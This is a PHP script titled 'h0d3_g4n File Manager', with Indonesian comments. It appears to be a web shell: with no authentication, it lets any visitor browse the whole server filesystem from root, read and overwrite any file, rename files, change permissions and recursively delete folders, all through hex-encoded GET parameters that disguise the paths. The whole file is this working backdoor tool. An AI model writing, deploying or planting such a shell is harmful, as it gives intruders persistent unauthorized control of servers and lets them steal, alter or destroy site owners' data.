<?php
// Aktifkan error reporting (bisa dimatikan di production)
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Fungsi encode string ke hex
function strToHex($string) {
    $hex = '';
    for ($i=0; $i < strlen($string); $i++) {
        $hex .= sprintf("%02x", ord($string[$i]));
    }
    return $hex;
}

// Fungsi decode hex ke string
function hexToStr($hex) {
    $string = '';
    for ($i=0; $i < strlen($hex); $i += 2) {
        $string .= chr(hexdec($hex[$i].$hex[$i+1]));
    }
    return $string;
}

// Format ukuran file
function formatSize($size)
{
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $i = 0;
    while ($size >= 1024 && $i < 4) {
        $size /= 1024;
        $i++;
    }
    return round($size, 2) . ' ' . $units[$i];
}

// Ambil isi folder & file
function getFileDetails($path)
{
    $folders = array();
    $files = array();

    $items = @scandir($path);
    if (!is_array($items)) {
        return 'None';
    }

    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;

        $itemPath = $path . '/' . $item;
        $itemDetails = array(
            'name' => $item,
            'type' => is_dir($itemPath) ? 'Folder' : 'File',
            'size' => is_dir($itemPath) ? '' : formatSize(filesize($itemPath)),
            'permission' => substr(sprintf('%o', fileperms($itemPath)), -4),
        );

        if (is_dir($itemPath)) {
            $folders[] = $itemDetails;
        } else {
            $files[] = $itemDetails;
        }
    }

    return array_merge($folders, $files);
}

// Ubah direktori
function changeDirectory($path)
{
    if ($path === '..') {
        @chdir('..');
    } else {
        @chdir($path);
    }
}

// Dapatkan direktori kerja sekarang
function getCurrentDirectory()
{
    return realpath(getcwd());
}

// Generate link folder/file dengan path hex di URL
function getLink($path, $name)
{
    if (is_dir($path)) {
        return '<a href="?dir=' . urlencode(strToHex($path)) . '">' . htmlspecialchars($name) . '</a>';
    } else {
        return '<a href="?edit=' . urlencode(strToHex($path)) . '">' . htmlspecialchars($name) . '</a>';
    }
}

// Tampilkan breadcrumb dengan link hex-encoded
function showBreadcrumb($path)
{
    $path = str_replace('\\', '/', $path);
    $paths = explode('/', $path);
    echo '<div class="breadcrumb">';
    foreach ($paths as $id => $pat) {
        if ($pat === '' && $id === 0) {
            echo 'DIR : <a href="?dir=' . urlencode(strToHex('/')) . '">/</a>';
            continue;
        }
        if ($pat === '') continue;
        $linkPath = implode('/', array_slice($paths, 0, $id + 1));
        echo '<a href="?dir=' . urlencode(strToHex($linkPath)) . '">' . htmlspecialchars($pat) . '</a>/';
    }
    echo '</div>';
}

// Tampilkan tabel file & folder
function showFileTable($path)
{
    $fileDetails = getFileDetails($path);
    echo '<table border="1" cellpadding="5" cellspacing="0" style="width:100%;border-collapse:collapse;">';
    echo '<tr><th>Name</th><th>Type</th><th>Size</th><th>Permission</th><th>Actions</th></tr>';

    if (is_array($fileDetails)) {
        foreach ($fileDetails as $fileDetail) {
            echo '<tr>';
            echo '<td>' . getLink($path . '/' . $fileDetail['name'], $fileDetail['name']) . '</td>';
            echo '<td>' . $fileDetail['type'] . '</td>';
            echo '<td>' . $fileDetail['size'] . '</td>';
            echo '<td>' . $fileDetail['permission'] . '</td>';
            echo '<td>';

            $fullPath = $path . '/' . $fileDetail['name'];

            if ($fileDetail['type'] === 'File') {
                echo '<a href="?edit=' . urlencode(strToHex($fullPath)) . '">Edit</a> | ';
            }
            echo '<a href="?rename=' . urlencode(strToHex($fullPath)) . '">Rename</a> | ';
            echo '<a href="?chmod=' . urlencode(strToHex($fullPath)) . '">Chmod</a> | ';
            echo '<a href="?delete=' . urlencode(strToHex($fullPath)) . '" onclick="return confirm(\'Are you sure to delete this?\')">Delete</a>';

            echo '</td>';
            echo '</tr>';
        }
    } else {
        echo '<tr><td colspan="5">None</td></tr>';
    }
    echo '</table>';
}

// Baca isi file
function readFileContent($file)
{
    if (file_exists($file)) {
        return file_get_contents($file);
    }
    return '';
}

// Simpan isi file dari POST
function saveFileContent($file)
{
    if (isset($_POST['content'])) {
        return file_put_contents($file, $_POST['content']) !== false;
    }
    return false;
}

// Ganti nama file/folder
function renameFile($oldName, $newName)
{
    if (file_exists($oldName)) {
        $directory = dirname($oldName);
        $newPath = $directory . '/' . $newName;
        if (rename($oldName, $newPath)) {
            return array(true, 'Renamed successfully.', $newPath);
        } else {
            return array(false, 'Error renaming file or folder.', $oldName);
        }
    } else {
        return array(false, 'File or folder does not exist.', $oldName);
    }
}

// Ganti permission file/folder
function changePermission($path, $permission)
{
    $perm = intval($permission, 8);
    if (chmod($path, $perm)) {
        return array(true, 'Permission changed successfully.');
    } else {
        return array(false, 'Failed to change permission.');
    }
}

// Hapus file
function deleteFile($file)
{
    if (file_exists($file)) {
        if (unlink($file)) {
            return array(true, 'File deleted successfully.');
        } else {
            return array(false, 'Error deleting file.');
        }
    } else {
        return array(false, 'File does not exist.');
    }
}

// Hapus folder dan isinya rekursif
function deleteFolder($folder)
{
    if (is_dir($folder)) {
        $files = glob($folder . '/*');
        foreach ($files as $file) {
            is_dir($file) ? deleteFolder($file) : unlink($file);
        }
        if (rmdir($folder)) {
            return array(true, 'Folder deleted successfully.');
        } else {
            return array(false, 'Error deleting folder.');
        }
    } else {
        return array(false, 'Folder does not exist.');
    }
}

// Helper untuk decode parameter hex dari GET
function getDecodedParam($name) {
    return isset($_GET[$name]) ? hexToStr($_GET[$name]) : null;
}

// Mulai main logic
$currentDirectory = getCurrentDirectory();

$errorMessage = '';
$responseMessage = '';
$file = '';

// Tangani pindah direktori (dir)
if (isset($_GET['dir'])) {
    $decodedDir = hexToStr($_GET['dir']);
    changeDirectory($decodedDir);
    $currentDirectory = getCurrentDirectory();
}

// Tangani edit, rename, chmod, delete dengan decode param
$file = getDecodedParam('edit');
if (!$file) $file = getDecodedParam('rename');
if (!$file) $file = getDecodedParam('chmod');
if (!$file) $file = getDecodedParam('delete');

// Handle save file content
if ($file && isset($_GET['edit']) && $_SERVER['REQUEST_METHOD'] === 'POST') {
    if (saveFileContent($file)) {
        $msg = "File saved successfully.";
        echo "<script>alert('". addslashes($msg) ."'); window.location='?dir=". urlencode(strToHex(dirname($file))) ."';</script>";
        exit;
    } else {
        $msg = "Error saving file.";
        echo "<script>alert('". addslashes($msg) ."'); window.history.back();</script>";
        exit;
    }
}

// Handle rename
if ($file && isset($_GET['rename']) && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $newName = isset($_POST['new_name']) ? trim($_POST['new_name']) : '';
    list($success, $msg, $newPath) = renameFile($file, $newName);
    if ($success) {
        echo "<script>alert('". addslashes($msg) ."'); window.location='?dir=". urlencode(strToHex(dirname($newPath))) ."';</script>";
        exit;
    } else {
        echo "<script>alert('". addslashes($msg) ."'); window.history.back();</script>";
        exit;
    }
}

// Handle chmod
if ($file && isset($_GET['chmod']) && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $perm = isset($_POST['permission']) ? $_POST['permission'] : '';
    list($success, $msg) = changePermission($file, $perm);
    if ($success) {
        echo "<script>alert('". addslashes($msg) ."'); window.location='?dir=". urlencode(strToHex(dirname($file))) ."';</script>";
        exit;
    } else {
        echo "<script>alert('". addslashes($msg) ."'); window.history.back();</script>";
        exit;
    }
}

// Handle delete
if ($file && isset($_GET['delete']) && $_SERVER['REQUEST_METHOD'] === 'GET') {
    if (is_file($file)) {
        list($success, $msg) = deleteFile($file);
        $redirectDir = dirname($file);
    } elseif (is_dir($file)) {
        list($success, $msg) = deleteFolder($file);
        $redirectDir = dirname($file);
    } else {
        $success = false;
        $msg = 'File or folder does not exist.';
        $redirectDir = getCurrentDirectory();
    }

    if ($success) {
        echo "<script>alert('". addslashes($msg) ."'); window.location='?dir=". urlencode(strToHex($redirectDir)) ."';</script>";
        exit;
    } else {
        echo "<script>alert('". addslashes($msg) ."'); window.location='?dir=". urlencode(strToHex($redirectDir)) ."';</script>";
        exit;
    }
}

// Baca isi file jika mode edit
$content = '';
if ($file && isset($_GET['edit'])) {
    $content = readFileContent($file);
}

?>
<!DOCTYPE html>
<html>
<head>
    <style>
        body { font-family: Arial, sans-serif; margin:20px; }
        .breadcrumb a { text-decoration: none; margin-right: 5px; color: #007BFF; }
        .breadcrumb a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 15px; }
        th, td { padding: 8px; border: 1px solid #ccc; text-align: left; }
        .button { padding: 6px 12px; background: #007BFF; color: white; border: none; cursor: pointer; text-decoration:none; }
        .button:hover { background: #0056b3; }
        form { margin-top: 10px; }
        textarea { width: 100%; font-family: monospace; font-size: 14px; }
        input[type=text] { padding: 6px; width: 300px; }
    </style>
</head>
<body>

<h1>h0d3_g4n File Manager</h1>

<?php if (isset($_GET['edit'])): ?>
    <h2>Edit File: <?php echo htmlspecialchars($file); ?></h2>
    <form method="post">
        <textarea name="content" rows="20"><?php echo htmlspecialchars($content); ?></textarea><br>
        <button type="submit" class="button">Save</button>
        <a href="?dir=<?php echo urlencode(strToHex(dirname($file))); ?>" class="button">Back</a>
    </form>

<?php elseif (isset($_GET['rename'])): ?>
    <h2>Rename: <?php echo htmlspecialchars($file); ?></h2>
    <form method="post">
        <input type="text" name="new_name" placeholder="New name" required>
        <button type="submit" class="button">Rename</button>
        <a href="?dir=<?php echo urlencode(strToHex(dirname($file))); ?>" class="button">Back</a>
    </form>

<?php elseif (isset($_GET['chmod'])): ?>
    <h2>Change Permission: <?php echo htmlspecialchars($file); ?></h2>
    <form method="post">
        <input type="text" name="permission" placeholder="e.g., 0755" required>
        <button type="submit" class="button">Change</button>
        <a href="?dir=<?php echo urlencode(strToHex(dirname($file))); ?>" class="button">Back</a>
    </form>

<?php else: ?>

    <a href="?"><h2>Home</h2></a>
    <?php showBreadcrumb($currentDirectory); ?>
    <?php showFileTable($currentDirectory); ?>

<?php endif; ?>

</body>
</html>
